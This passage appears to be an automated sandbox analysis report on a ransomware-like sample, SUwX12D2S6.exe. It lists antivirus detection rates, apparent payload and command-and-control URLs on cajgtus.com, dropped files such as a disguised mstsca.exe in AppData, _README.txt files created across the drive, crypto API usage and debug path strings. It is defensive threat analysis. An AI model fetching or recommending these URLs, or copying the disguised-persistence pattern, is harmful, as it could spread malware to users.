"E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E

Multi AV Scanner detection for domain / URL

Source: sdfjhuz.com	Virustotal: Detection: 23%	Perma Link
Source: http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D	Virustotal: Detection: 9%	Perma Link
Source: http://cajgtus.com/test2/get.php	Virustotal: Detection: 14%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Virustotal: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Virustotal: Detection: 87%	Perma Link

Multi AV Scanner detection for submitted file

Source: SUwX12D2S6.exe

Virustotal: Detection: 40%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SUwX12D2S6.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000802000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_ea8d3d42-d

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Unpacked PE file: 1.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Unpacked PE file: 4.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 6.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 12.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Unpacked PE file: 24.2.SUwX12D2S6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: SUwX12D2S6.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	File created: C:\Users\user\_README.txt

Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.66.133.162:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49752 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\Q source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\te\ source: SUwX12D2S6.exe, 00000004.00000003.2174722676.000000000356A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.bgzqat source: SUwX12D2S6.exe, 00000004.00000003.2110957880.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2169822173.0000000003161000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159585768.0000000003163000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157654247.000000000315A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2176334680.000000000316C000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157384871.0000000003146000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\C source: SUwX12D2S6.exe, 00000004.00000003.2210484839.0000000003417000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202211710.00000000033FF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2233587760.000000000394F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226957493.0000000003962000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233015637.000000000390F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\we\g source: SUwX12D2S6.exe, 00000004.00000003.2237119019.0000000003514000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2239471258.00000000034EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\_m source: SUwX12D2S6.exe, 00000004.00000003.2170576871.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2184538505.00000000033F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2236436289.0000000003893000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\A source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2233587760.000000000394F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226957493.0000000003962000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233015637.000000000390F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2226957493.00000000038C6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225920544.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218553034.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2227590465.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208481995.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2236436289.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\celefeboxu.pdb source: SUwX12D2S6.exe
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1785156949.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1781524100.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1783808645.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\W source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\\ source: SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\State\ source: SUwX12D2S6.exe, 00000004.00000003.2158068491.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156495174.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174722676.000000000356A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159634085.0000000003564000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000A.00000000.1805138719.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000A.00000002.1913333134.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1911812806.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000000.1918990852.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000002.2018872471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2017466458.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2348608889.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2275814306.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2347560708.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.2973317219.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2865813530.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.2972376587.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3583754315.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3466010192.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3582957712.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000020.00000002.4129370107.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000020.00000000.4066108806.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\*z source: SUwX12D2S6.exe, 00000004.00000003.2158386481.0000000003410000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135411368.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156718696.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157238464.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Temp\( source: SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215986355.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217021524.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\q source: SUwX12D2S6.exe, 00000004.00000003.1882036014.0000000003148000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1843805332.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\cM source: SUwX12D2S6.exe, 00000004.00000003.2202710386.000000000382E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\SystemAppData\Q source: SUwX12D2S6.exe, 00000004.00000003.2109828995.0000000003479000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110380294.000000000348D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2202710386.000000000382E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ion source: SUwX12D2S6.exe, 00000004.00000003.2201021660.000000000356D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203390038.000000000357A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202256063.000000000356D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2210964209.000000000357E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2209889977.0000000003576000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2208481995.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: SUwX12D2S6.exe, 00000004.00000003.2225038196.0000000003192000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216776414.000000000318D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216475290.0000000003183000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Appli source: SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\3c source: SUwX12D2S6.exe, 00000004.00000003.2158068491.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156495174.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2158347421.0000000003576000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174316337.000000000359D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2169782007.0000000003596000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159372299.0000000003596000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\Z source: SUwX12D2S6.exe, 00000004.00000003.2210867698.0000000003743000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218755081.000000000374A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217347390.000000000374A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\8bbwe\App source: SUwX12D2S6.exe, 00000004.00000003.2237119019.0000000003514000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2239471258.00000000034EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2202322208.0000000003189000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211528266.000000000318D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211213412.000000000318A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2201372327.0000000003184000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203425081.0000000003191000.00000004.00000020.00020000.00000000.sdmp
